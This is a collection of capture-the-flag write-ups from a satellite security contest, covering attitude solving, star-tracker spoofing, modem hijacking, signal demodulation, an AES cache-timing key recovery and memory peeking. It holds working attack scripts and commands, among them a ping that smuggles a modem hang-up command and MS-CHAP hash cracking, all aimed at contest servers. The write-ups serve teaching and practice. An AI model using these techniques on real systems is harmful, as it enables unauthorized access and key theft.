\newpage * Attitude Adjustment :PROPERTIES: :CUSTOM_ID: attitude-adjustment :END: *Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA *Points (final)*: 69 points *Solves*: 62 #+BEGIN_QUOTE Our star tracker has collected a set of boresight reference vectors, and identified which stars in the catalog they correspond to. Compare the included catalog and the identified boresight vectors to determine what our current attitude is. Note: The catalog format is unit vector (X,Y,Z) in a celestial reference frame and the magnitude (relative brightness) #+END_QUOTE *Given files*: =attitude-papa21503yankee.tar.bz2= ** Writeup :PROPERTIES: :CUSTOM_ID: writeup :END: by [[https://imer.in][erin (=barzamin=)]]. For this problem, we have two sets of N vectors which are paired; all points in the first set are just those in the second set up to rotation; we want to find the rotation which maps the first set onto the other one. Since we already know which point in the observation set maps to which vector in the catalog set, we can use the [[https://en.wikipedia.org/wiki/Kabsch_algorithm][Kabsch algorithm]] to find the rotation matrix (note that this is called an /orthogonal Procrustes problem/). I'd only vaguely heard of the Kabsch algorithm before, and in the context of bioinformatics, so I didn't immediately identify it as a good path to the solution. Instead, I just googled "/align two sets of vectors/", for which it's the third result. Since nobody has time to implement computational geometry during a ctf, I grabbed an existing Kabsch implementation. For some reason, I didn't notice that =scipy.spatial= has [[https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.align_vectors.html][a Kabsch implementation]] built in, so I used some random external project, [[https://github.com/charnley/rmsd][=rmsd=]]. First, load the star catalog: #+BEGIN_SRC python catalog = {} with open('./attitude-papa21503yankee/test.txt') as f: i = 0 for line in f: [x, y, z, m] = [float(s.strip()) for s in line.split(',')] catalog[i] = {'v': np.array([x,y,z]), 'm':m} i += 1 #+END_SRC Set up some helpers for parsing the output of the challenge server and solving an orientation: #+BEGIN_SRC python def parse_stars(stardata): stars = {} for line in stardata.strip().split('\n'): line = line.strip() star_id = int(line.split(':')[0].strip()) direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) stars[star_id] = direction return stars def solve_orientation(stars, catalog): P = np.vstack(list(stars.values())) Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) rotation_mtx = calculate_rmsd.kabsch(P, Q) rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) return rotation #+END_SRC Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog /to/ the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing. Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server: #+BEGIN_SRC python TICKET = 'THE_TICKET' r = tubes.remote.remote('attitude.satellitesabove.me', 5012) r.send(TICKET+'\n') time.sleep(0.5) for _ in range(20): r.recvuntil(b'--------------------------------------------------\n', drop=True) stars = parse_stars(r.recv().decode()) rotation = solve_orientation(stars, catalog) r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') time.sleep(0.1) print(r.clean()) #+END_SRC The flag should get printed out on stdout by the final line. *** Full code :PROPERTIES: :CUSTOM_ID: full-code :END: #+BEGIN_SRC python import numpy as np from pwnlib import tubes import time import matplotlib.pyplot as plt from rmsd import calculate_rmsd from scipy.spatial.transform import Rotation catalog = {} with open('./attitude-papa21503yankee/test.txt') as f: i = 0 for line in f: [x, y, z, m] = [float(s.strip()) for s in line.split(',')] catalog[i] = {'v': np.array([x,y,z]), 'm':m} i += 1 def parse_stars(stardata): stars = {} for line in stardata.strip().split('\n'): line = line.strip() star_id = int(line.split(':')[0].strip()) direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) stars[star_id] = direction return stars def solve_orientation(stars, catalog): P = np.vstack(list(stars.values())) Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) rotation_mtx = calculate_rmsd.kabsch(P, Q) rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) return rotation TICKET = 'THE_TICKET' r = tubes.remote.remote('attitude.satellitesabove.me', 5012) r.send(TICKET+'\n') time.sleep(0.5) for _ in range(20): r.recvuntil(b'--------------------------------------------------\n', drop=True) stars = parse_stars(r.recv().decode()) rotation = solve_orientation(stars, catalog) r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') time.sleep(0.1) print(r.clean()) #+END_SRC ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups :END: - [[https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem]] - [[https://en.wikipedia.org/wiki/Kabsch_algorithm]] - [[https://github.com/charnley/rmsd/tree/master]] \newpage * Digital Filters, Meh :PROPERTIES: :CUSTOM_ID: digital-filters-meh :END: *Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA *Points (final)*: 104 points *Solves*: 37 #+BEGIN_QUOTE Included is the simulation code for the attitude control loop for a satellite in orbit. A code reviewer said I made a pretty big mistake that could allow a star tracker to misbehave. Although my code is flawless, I put in some checks to make sure the star tracker can't misbehave anyways. Review the simulation I have running to see if a startracker can still mess with my filter. Oh, and I'll be giving you the attitude of the physical system as a quaternion, it would be too much work to figure out where a star tracker is oriented from star coordinates, right? #+END_QUOTE *Given files*: =src.tar.gz=. ** Writeup :PROPERTIES: :CUSTOM_ID: writeup-1 :END: by [[https://imer.in][erin (=barzamin=)]]. As part of this challenge, we're given a file =src.tar.gz= by the scoreboard. This contains Octave code which simulates the satellite kinetics and control loop, and, presumably, is what's running on the challenge server. Digging into the main file, =challenge.m=, we note a few interesting things. The satellite is running a Kalman filter on the gyroscope data (velocity and acceleration) and star tracker orientation data. Near the start of each control system iteration, there's a check on the Kalman filter error; if greater than a threshold, the controller crashes out: #+BEGIN_SRC matlab % Check error bounds if max(abs(err)) > err_thresh disp("Error: Estimator error too large... Goodbye"); disp(q_est); disp(target.q_att); break; endif #+END_SRC Note =err_thresh= is defined upscript as #+BEGIN_SRC matlab err_thresh = 1*pi/180. ; % 1 Degree error max #+END_SRC Further down, we see that a PID update step on for the correction is only run every five iterations; this is weird, but doesn't help us as far as we could tell. Even further downscript, we see that every iteration, a check is performed between target and actual orientations (note that /actual orientation/ means, here, the true simulated physical pose of the satellite): #+BEGIN_SRC matlab % Check we're still safe... [v,a] = q2rot(quat_diff(actual.q_att, target.q_att)); if abs(v(2)*a) > (pi/8) disp("Uh oh, better provide some information!"); disp(getenv("FLAG")) break; endif #+END_SRC If this check is true (ie, there's >π/8 radians of rotation error on the Y axis), we get the flag! So the challenge here is making the satellite think it's drifted when it hasn't, without making the Kalman filter angry. How can we do that? The star filter observations are pulled right after the previous check, with the following code: #+BEGIN_SRC matlab % Get Observations q_att = startracker(actual); #+END_SRC Looking inside =startracker()=, we see that it pretty clearly indicates that we /are/ the star tracker; every timestep, the code tells us, the adversary, what the true physical orientation is as a quaternion. We can act as the star tracker and send back a wxyz-format quaternion on stdin, which it will use as the star-tracker output (note that, for some reason, the code they give us uses space-separated floats and the actual challenge uses comma-separated floats): #+BEGIN_SRC matlab % Model must have a q_att member function [ q ] = startracker(model) q = model.q_att; disp([q.w, q.x, q.y, q.z]); fflush(stdout); % Get Input q = zeros(4,1); for i = 1:4 q(i) = scanf("%f", "C"); endfor q = quaternion(q(1), q(2), q(3), q(4)); %q.w = q.w + normrnd(0, 1e-8); %q.x = q.x + normrnd(0, 1e-8); %q.y = q.y + normrnd(0, 1e-8); %q.z = q.z + normrnd(0, 1e-8); q = q./norm(q); endfunction #+END_SRC Also note that in =challenge.m=, immediately after the star tracker call, checking the return value for consistency with the physical model is /commented out/. We can tell the satellite that it's pointing anywhere we like and it will believe us, although Kalman error might be bad: #+BEGIN_SRC matlab %err = quat2eul(quat_diff(q_att, target.q_att))'; %if max(abs(err)) > err_thresh % disp("Error: No way, you are clearly lost, Star Tracker!"); % break; %endif #+END_SRC So we control the star tracker. What can we do? We immediately noticed the vast count of =eul2quat()= and =quat2eul()= calls and wasted so much time trying to get something to gimbal lock. Turns out this problem is deceptively easy, and you don't need to do that at all. We can't make the discrepancy between the true position and what the star tracker says too great, nor make it vary quickly; the gyroscope is reporting gaussian noise close to zero with very low variance, so any big delta in star tracker orientation will incur error in the Kalman filter. So what can we do? Turns out all we have to do hold the Y orientation constant and report that. The satellite's true Y euler angle gradually rotates over time due to system dynamics, accumulating controller error on the Y axis, and we eventually get the flag. Hook up to the server: #+BEGIN_SRC python sep = ',' r = remote('filter.satellitesabove.me', 5014) r.clean() r.send('THE_TICKET') time.sleep(0.1) #+END_SRC Write a little function that pretends to be the star tracker (note: =lie= was determined by playing with the local simulator a bunch): #+BEGIN_SRC python def adversary(true_pose): lie = 0.25 euler = true_pose.as_euler('xyz') euler[1] = lie return R.from_euler('xyz',euler) #+END_SRC And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag: #+BEGIN_SRC python while True: rl = r.readline(timeout=3) if rl.startswith(b'Uh oh,'): r.interactive() log.info(f'<== [{i}] {rl}') [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] true_pose = R.from_quat([x,y,z,w]) new_pose = adversary(true_pose) [x,y,z,w] = new_pose.as_quat() msg = sep.join(map(str,[w,x,y,z])) log.info(f'==> {msg}') r.send(msg+'\n') #+END_SRC When we see that string, the script jumps to =pwnlib.tubes=' interactive mode and we see the flag in the dumped buffer. *** Full code :PROPERTIES: :CUSTOM_ID: full-code-1 :END: #+BEGIN_SRC python import numpy as np import matplotlib.pyplot as plt from pwn import * from scipy.spatial.transform import Rotation as R import time q_att_ts = [] badnesses = [] LOCAL = False if LOCAL: sep = ' ' r = process('octave challenge.m', shell=True) else: sep = ',' r = remote('filter.satellitesabove.me', 5014) r.clean() r.send('THE_TICKET') time.sleep(0.1) def adversary(true_pose): lie = 0.25 euler = true_pose.as_euler('xyz') euler[1] = lie return R.from_euler('xyz',euler) for i in range(10000): if LOCAL: badness = float(r.readline().decode().strip()) log.info(f'[!] badness: {badness}') badnesses.append(badness) rl = r.readline(timeout=3) if rl.startswith(b'Uh oh,'): r.interactive() log.info(f'<== [{i}] {rl}') [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] true_pose = R.from_quat([x,y,z,w]) new_pose = adversary(true_pose) [x,y,z,w] = new_pose.as_quat() msg = sep.join(map(str,[w,x,y,z])) log.info(f'==> {msg}') r.send(msg+'\n') #+END_SRC \newpage * Seeing Stars :PROPERTIES: :CUSTOM_ID: seeing-stars :END: *Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA *Points (final)*: 23 *Solves*: 213 #+BEGIN_QUOTE Here is the output from a CCD Camera from a star tracker, identify as many stars as you can! (in image reference coordinates) Note: The camera prints pixels in the following order (x,y): (0,0), (1,0), (2,0)... (0,1), (1,1), (2,1)... Note that top left corner is (0,0) #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up :END: by [[https://qtp2t.club/][hazel (=arcetera=)]] The CCD image given by the netcat is a 128x128 matrix of comma-separated values. We read the data into a NumPy array, and pass that into OpenCV. #+BEGIN_SRC python data = [] for line in rawdat.strip().split('\n'): data.append([int(x) for x in line.split(',')]) x = np.array(data, dtype='uint8').T im = x #+END_SRC We then run a filter on the data, only grabbing values in [127, 255] to filter out data that is /obviously not/ stars. We then run two dilates on the image post-filter, because otherwise we end up with a division by zero on centroid finding later for =M["m00"]=. Finally, we grabbed the contour of every object visible in the image. #+BEGIN_SRC python ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) kernel = np.ones((5, 5), np.uint8) dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) cnts, hier = cv2.findContours(dilated.copy(), \ cv2.RETR_TREE, \ cv2.CHAIN_APPROX_NONE) #+END_SRC For each contour, we grabbed its centroid: #+BEGIN_SRC python solve = '' for c in cnts: M = cv2.moments(c) cX = int(M["m10"] / M["m00"]) cY = int(M["m01"] / M["m00"]) solve += (str(cX) + "," + str(cY)+'\n') return solve #+END_SRC We then automated this entire process using pwnlib to connect to the server and read the data. *** Full code :PROPERTIES: :CUSTOM_ID: full-code-2 :END: #+BEGIN_SRC python #!/usr/bin/env python3 import cv2 import math import numpy as np from pwnlib import tubes import time def solve(rawdat): data = [] for line in rawdat.strip().split('\n'): data.append([int(x) for x in line.split(',')]) x = np.array(data, dtype='uint8').T im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE) ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) kernel = np.ones((5, 5), np.uint8) dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) cnts, hier = cv2.findContours(dilated.copy(), \ cv2.RETR_TREE, \ cv2.CHAIN_APPROX_NONE) edit = thresh.copy() cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3) solve = '' for c in cnts: M = cv2.moments(c) cX = int(M["m10"] / M["m00"]) cY = int(M["m01"] / M["m00"]) solve += (str(cX) + "," + str(cY)+'\n') return solve TICKET = 'THE_TICKET' r = tubes.remote.remote('stars.satellitesabove.me', 5013) r.recvline() r.send(TICKET+'\n') going = True while going: rawdat = r.recvuntil('Enter', drop=True) time.sleep(0.5) r.clean() solution = solve(rawdat.decode()) r.send(solution+'\n') time.sleep(0.1) if r.recvuntil('Left...\n') == b'0 Left...\n': time.sleep(0.1) print(r.clean()) #+END_SRC Run it, and the flag should be printed as a bytestring. ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-1 :END: - [[https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html]] - [[https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html]] \newpage * 56K Flex Magic :PROPERTIES: :CUSTOM_ID: k-flex-magic :END: *Category:* Communication Systems *Points (final):* 205 *Solves:* 13 #+BEGIN_QUOTE Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a flag... UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected behavior. #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up-1 :END: by [[https://awoo.systems][haskal]] An audio file is included that contains a session where a number is dialed, and then some modem data is exchanged (it's a very distinctive sound). Additionally, there is a note included with the following text. #+BEGIN_EXAMPLE ---=== MY SERVER ===--- Phone #: 275-555-0143 Username: hax Password: hunter2 * Modem implements a (very small) subset of 'Basic' commands as described in the ITU-T V.250 spec (Table I.2) ---=== THEIR SERVER ===--- Ground station IP: 93.184.216.34 Ground station Phone #: 458-XXX-XXXX ...? Username: ? Password: ? * They use the same model of modem as mine... could use +++ATH0 ping of death * It'll have an interactive login similar to my server * Their official password policy: minimum requirements of FIPS112 (probably just numeric) * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137' #+END_EXAMPLE ITU-T V.250 is essentially a formalization of the [[https://en.wikipedia.org/wiki/Hayes_command_set][Hayes command set]], so we can use basic Hayes commands to interact with our local modem, such as #+BEGIN_EXAMPLE ATDTXXXXXXXXXX - dial number XXX... ATH0 - hang up +++ - get the local modem's attention while in a remote session #+END_EXAMPLE The first step is to try to get information about the ground station server. We can decode the dial tones from the audio file, which are [[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling][DTMF]] tones. Once decoded we obtain a phone number for the ground station of =458-555-0142=. However dialing this number results in an error - =BUSY=. Presumably, the ground station is already dialed into somewhere, and we need to disconnect it. The "ping of death" refers to injecting a modem command into a packet sent to a remote server in order to cause the server's modem to interpret a hang up command contained in the packet. This can be achieved by pinging with the data =+++ATH0=, because as the server replies to the ping with the same data, its local modem will interpret the command inside the ping. But we need to escape it with hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the text file to get an initial shell session #+BEGIN_EXAMPLE ATDT2755550143 #+END_EXAMPLE Next, issue a ping of death to the provided server IP #+BEGIN_SRC sh ping -v 0x2b2b2b415448290d 93.184.216.34 #+END_SRC Now the ground station should be disconnected so it is available for us to dial. #+BEGIN_EXAMPLE +++ATH0 ATDT45845550142 #+END_EXAMPLE We get a login prompt for SATNET #+BEGIN_EXAMPLE * * . * * * . * * . * * . . * * . * . . * . * * +------------------------------+ . | SATNET | * +------------------------------+ . . | UNAUTHORIZED ACCESS IS | | STRICTLY PROHIBITED | . +------------------------------+ . . . . Setting up - this will take a while... LOGIN Username: #+END_EXAMPLE However we still need the username and password. Maybe the provided audio file has the credentials somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is consistent with the [[https://www.itu.int/rec/T-REC-V.21-198811-I/en][ITU V.21 standard]] which uses dual-channel Frequency Shift Keying at 300 bits/second. We can use [[https://github.com/kamalmostafa/minimodem][minimodem]] to decode the modem traffic. We can provide the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate. #+BEGIN_SRC sh minimodem -8 -S 980 -M 1180 -f recording.wav 300 minimodem -8 -S 1650 -M 1850 -f recording.wav 300 #+END_SRC This data looks like garbage but it contains some strings, notably =rocketman2674=. We assume from the notes file that the password is a 4-digit number, but trying the username =rocketman= and password =2674= didn't work. We need to look closer. This is the beginning of one side of the exchange in hex: #+BEGIN_EXAMPLE 00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" 00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. 00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} 00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} 00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!} #+END_EXAMPLE It starts with =7eff=, which is characteristic of [[https://en.wikipedia.org/wiki/Point-to-Point_Protocol][Point-to-Point Protocol]]. We can decode the packets with [[https://github.com/secdev/scapy][scapy]], a framework for network protocol analysis. However, first we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically. There are two main tasks, first split up the frames by the =7e= delimiters, and then remove the byte stuffing within the frame, since PPP will escape certain bytes with the =7d= prefix followed by the byte XOR =0x20=. Finally, the frame can be passed to scapy for analysis. This is a VERY lax de-framer because sometimes frames seemed to not be started or terminated properly. #+BEGIN_SRC python def decode(ch): buf2 = b"" esc = False for x in ch: if x == 0x7e: if buf2 != b"\xFF" and buf2 != b"": PPP(buf2).show() buf2 = b"" esc = False elif esc: esc = False buf2 += bytes([x^0x20]) elif x == 0x7d: esc = True else: buf2 += bytes([x]) if len(buf2) > 0: PPP(buf2).show() #+END_SRC (This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this snippet.) Now we can see what the packets mean. In particular, we spot these ones: #+BEGIN_EXAMPLE ###[ HDLC ]### address = 0xff control = 0x3 ###[ PPP Link Layer ]### proto = Link Control Protocol ###[ PPP Link Control Protocol ]### code = Configure-Ack id = 0x2 len = 28 \options \ ..... |###[ PPP LCP Option ]### | type = Authentication-protocol | len = 5 | auth_protocol= Challenge-response authentication protocol | algorithm = MS-CHAP ..... ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Response id = 0x0 len = 67 value_size= 49 value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 2e9831310b56924f3428b05ad60c7a2b401 optional_name= 'rocketman2674' #+END_EXAMPLE and #+BEGIN_EXAMPLE ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Challenge id = 0x0 len = 26 value_size= 8 value = 12810ab88c7f1c74 optional_name= 'GRNDSTTNA8F6C' ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Success id = 0x0 len = 4 data = '' #+END_EXAMPLE We can see in this exchange that the client has negotiated =MS-CHAP= authentication and then authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just need the username (=rocketman2674=), the "challenge" which is used as a salt for the hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We can now convert the data into a [[https://www.openwall.com/john/][John-the-Ripper]] compatible hash like #+BEGIN_EXAMPLE username:$NETNTLM$challenge$hash rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4 #+END_EXAMPLE Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put this hash in a text file and run =john file.txt=. No need to specify 4 digit pins because john will complete in literal seconds anyway. #+BEGIN_EXAMPLE Proceeding with incremental:ASCII 9435 (rocketman2674) 1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 Use the "--show --format=netntlm" options to display all of the cracked passwords reliably Session completed #+END_EXAMPLE Use =rocketman2674= with password =9435= to log in to the ground station, then execute the =flag= command to get the flag. ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-2 :END: - [[https://en.wikipedia.org/wiki/Hayes_command_set]] - [[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling]] - [[https://github.com/kamalmostafa/minimodem]] - [[https://en.wikipedia.org/wiki/Point-to-Point_Protocol]] - [[https://tools.ietf.org/html/rfc2433]] - [[https://www.openwall.com/john/]] \newpage * Phasors to Stun :PROPERTIES: :CUSTOM_ID: phasors-to-stun :END: *Category:* Ground Segment *Points (final):* 62 *Solves:* 71 #+BEGIN_QUOTE Demodulate the data from an SDR capture and you will find a flag. It is a wav file, but that doesn't mean its audio data. #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up-2 :END: by [[https://awoo.systems][haskal]] The provided WAV file contains a signal that looks like this: [[file:signal.png]] This looks suspiciously like Phase Shift Keying (PSK) and it's a very clean signal (this is also hinted at by the challenge name). We can use [[https://github.com/jopohl/urh][Universal Radio Hacker]] to demod this with very little effort. [[file:urh1.png]] Select PSK modulation, then click "Autodetect parameters". Then move to Analysis: [[file:urh2.png]] We discovered that the signal is NRZI (non-return-to-zero inverted) coded, and after selecting this in URH the flag is decoded in the data view. ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-3 :END: - [[https://github.com/jopohl/urh]] - [[https://en.wikipedia.org/wiki/Phase-shift_keying]] - [[https://en.wikipedia.org/wiki/Non-return-to-zero#NRZI]] \newpage ** Leaky Crypto :PROPERTIES: :CUSTOM_ID: leaky-crypto :END: Many optimized implementations of AES utilize lookup tables to combine all steps of each round of the algorithm (SubBytes, ShiftRows, MixColumns, AddKey) into a single operation. For some X (the plaintext or the result from the previous round) and some K (the round key), they are split bytewise and the XOR product of each respective byte pair is used as the index into a lookup table. During the first round of AES, X is the plaintext of the message, and K is the original message key. Accordingly, given some known plaintext, leaking the index into the lookup table for a particular character leaks the corresponding key byte. There are four lookup tables which are used in each iteration of AES (besides the last round) and which is used is determined by the index of the byte MOD 4. We utilized [[http://www.jbonneau.com/doc/BM06-CHES-aes_cache_timing.pdf][this paper]] as a reference for both our understanding of AES and the attack we will detail below. Many CPUs cache RAM accesses so as to speed up subsequent accesses to the same address. This is done because accessing RAM is quite slow, and accessing cache is quite fast. This behavior would imply that on systems which implement such caching methods, there is a correlation between the amount of time it takes to encrypt a particular plaintext and the occurrences of repeated values of a plaintext byte XORd with a key byte. Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte indexes, p being the plaintext, and families corresponding to which lookup table is being used), we calculate the average time to encrypt such a message over all messages. We then determine if for any pair of characters pi, pj there is a statistically significant shorter encryption time compared to the average. If so, we can conclude that i ⊕ ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set of redundant system of equations relating different key bytes at different indexes with each other. It is important to note that in order for this attack to work, we must know at least one key byte in each family in order to actually solve each system of equations. Additionally, due to how cache works, this attack only leaks the most significant q bits (q being related to the number of items in a cache line). Once the set of possible partial keys (accounting for the ambiguity in the least significant bits of each derived byte) has been obtained by the above method, an attacker may brute force the remaining unknown key bytes. In the case of Leaky Crypto, a set of 100,000 plaintexts and corresponding encryption times is provided along with the first six bytes of the encryption key. We ran an analyzer program[^1] against these plaintexts to obtain the probable correlation between different indexes in the key with respect to the XOR product of those bytes with plaintext bytes. Per the above, the plaintexts and timing data provided enough information to derive the systems of equations which may be used to solve for key bytes, and the first 6 bytes of the key provided enough information to actually solve said systems of equations. Given the ambiguity of the low bits of each derived key byte, we obtained 214 partial keys with three unknown bytes each. Thus, we reduced the problem of guessing 2128 bits to guessing only 238 bits. We fed our derived partial keys into [[https://github.com/pgarba/Hulk][Hulk]] to brute force the remaining bytes for each candidate partial key. After 30 minutes had passed, we successfully brute forced the key. #+BEGIN_SRC python from itertools import combinations import matplotlib.pyplot as plt import numpy as np def find_outliers(corpus, num_samps, i, j): idxs = corpus[i][j].argsort()[:num_samps] return idxs def guess_bytes(corpus, known_keybytes, num_samps, avg): candidates = [] for base in range(4): family = [base, base + 4, base + 8, base + 12] for combo in combinations(family, 2): i,j = combo guesses = find_outliers(corpus, num_samps, i, j) guesses2 = [] for guess in guesses: cnt = corpus[i][j][guess] if cnt-avg < -10: guesses2.append((i, j, guess, cnt-avg)) print(i, j, guess, cnt - avg) candidates.append(tuple(guesses2)) print(candidates) if __name__ == '__main__': known_keybytes = bytes.fromhex("64c7072487f2") secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....." data = set() with open("test.txt", "r") as fp: for line in fp: pt, timing = line.strip().split(',') pt = bytes.fromhex(pt) timing = int(timing) data.add((pt, timing)) tavg = sum((d[1] for d in data)) / len(data) print("tavg: %d" % tavg) known_tly = np.zeros((16, 16, 256)) for base in range(4): print("Building corpus for family %d" % base) family = [base, base + 4, base + 8, base + 12] for combo in combinations(family, 2): times = np.zeros(256) counts = np.zeros(256) i,j = combo print("Working on %d, %d" % (i, j)) for d in data: n = d[0][i] ^ d[0][j] c = d[1] times[n] += c counts[n] += 1 for c in range(256): cnorm = times[c] / counts[c] known_tly[i][j][c] = cnorm known_tly[j][i][c] = cnorm guess_bytes(known_tly, known_keybytes, 4, tavg) #+END_SRC \newpage * Bytes Away! :PROPERTIES: :CUSTOM_ID: bytes-away :END: *Category:* Satellite Bus *Points (final):* 223 *Solves:* 11 #+BEGIN_QUOTE We have an encrypted telemetry link from one of our satellites but we seem to have lost the encryption key. Thankfully we can still send unencrypted commands using our Cosmos interface (included). I've also included the last version of kit_to.so that was updated to the satellite. Can you help us restore communication with the satellite so we can see what error "flag" is being transmitted? #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up-3 :END: by [[https://awoo.systems][haskal]] Two files are provided for this challenge, one contains the =kit_to.so= and the other contains a full [[https://cosmosrb.com/][COSMOS]] directory tree for accessing the virtual satellite, which can be booted up with the provided netcat endpoint. COSMOS is an open-source command and control framework for satellites using [[https://cfs.gsfc.nasa.gov/][NASA's Core Flight System]]. The provided COSMOS directory contains everything we need to interact with the virtual satellite, and the =kit_to.so= is part of the code that runs onboard the actual satellite. Booting up COSMOS is enormously complicated, so Docker can be used to automate the setup. We adapted the Ball Aerospace COSMOS Docker image, and created a script to configure COSMOS to connect to the CTF's satellite instance automatically by writing the configuration file at =cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt=. When COSMOS is successfully connected to the CTF instance it looks like this (no themes were installed in the Docker container so it looks like Windows 95, I'm so sorry,) [[file:COSMOS.png]] COSMOS can be used to send commands with the Command Sender, and we can send for example a command for ENABLE_TELEMETRY, which causes the satellite to start sending telemetry. However these are encrypted, so COSMOS cannot understand them. [[file:COSMOS_enable_telemetry.png]] We also discover another present subsystem called =MM=, which allows for reading and writing arbitrary memory on the satellite (how useful!) as well as interacting with memory by symbols (extremely useful!). [[file:COSMOS_MM.png]] The provided =kit_to.so= contains the code used by the satellite to transmit telemetry to COSMOS. We used [[https://ghidra-sre.org/][Ghidra]] to analyze the binary (which helpfully includes symbols and debugging information, and that makes our lives way easier for this problem). We discovered that it uses AES CBC with a key and IV retrieved with external functions =get_key= and =get_iv= that are not present in the binary. However, these are stored in known locations in memory, which means it would be possible to read the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt the telemetry packets, but there's an easier way. The code contains a function =KIT_TO_SendFlagPkt= which (as you might guess) sends the flag via encrypted telemetry, and this also writes the flag as an intermediate value to a known memory location. PIE is enabled for this binary, however since the PEEK_MEM command allows looking up memory by symbol name the address randomization is very trivially bypassed. [[file:ghidra.png]] Inspecting the structure of =KitToFlagPkt= shows that the flag is located at offset 12 and is (up to) 200 bytes long. We created a Ruby script in the COSMOS Script Runner to execute PEEK_MEM commands for each byte in the flag range, based on the command COSMOS outputs to the console when running the command manually in the GUI. Note that in order for the function =KIT_TO_SendFlagPkt= to be called at all, we must first run the ENABLE_TELEMETRY command even though we're not going to look at any actual telemetry. #+BEGIN_SRC ruby 12.upto(212) { |off| offset = off cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, " + "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, " + "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'") } #+END_SRC This directly prints the flag to the console, simply decode the hex to get the flag value. ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-4 :END: - [[https://cosmosrb.com/]] - [[https://cfs.gsfc.nasa.gov/]] - [[https://ghidra-sre.org/]] \newpage * Magic Bus :PROPERTIES: :CUSTOM_ID: magic-bus :END: *Category*: Satellite Bus *Points (final)*: 91 *Solves*: 44 (this number taunts me) /Important note:/ Team BLAHAJ did not solve this problem until after the competition, and it did not count toward our final point total. 